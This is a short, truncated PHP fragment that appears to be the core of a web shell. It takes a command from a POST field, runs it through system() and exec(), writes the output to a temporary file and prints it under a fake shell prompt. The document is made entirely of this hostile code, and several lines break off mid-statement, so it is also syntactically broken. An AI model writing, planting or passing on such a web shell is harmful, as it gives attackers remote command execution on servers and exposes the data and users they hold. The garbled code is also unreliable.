$cmd = $_POST['cmd'];
echo "sh-2.05b$ $cmd 

" ;
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtem
exec("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp;
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">",
echo "

sh-2.05b$ "
?>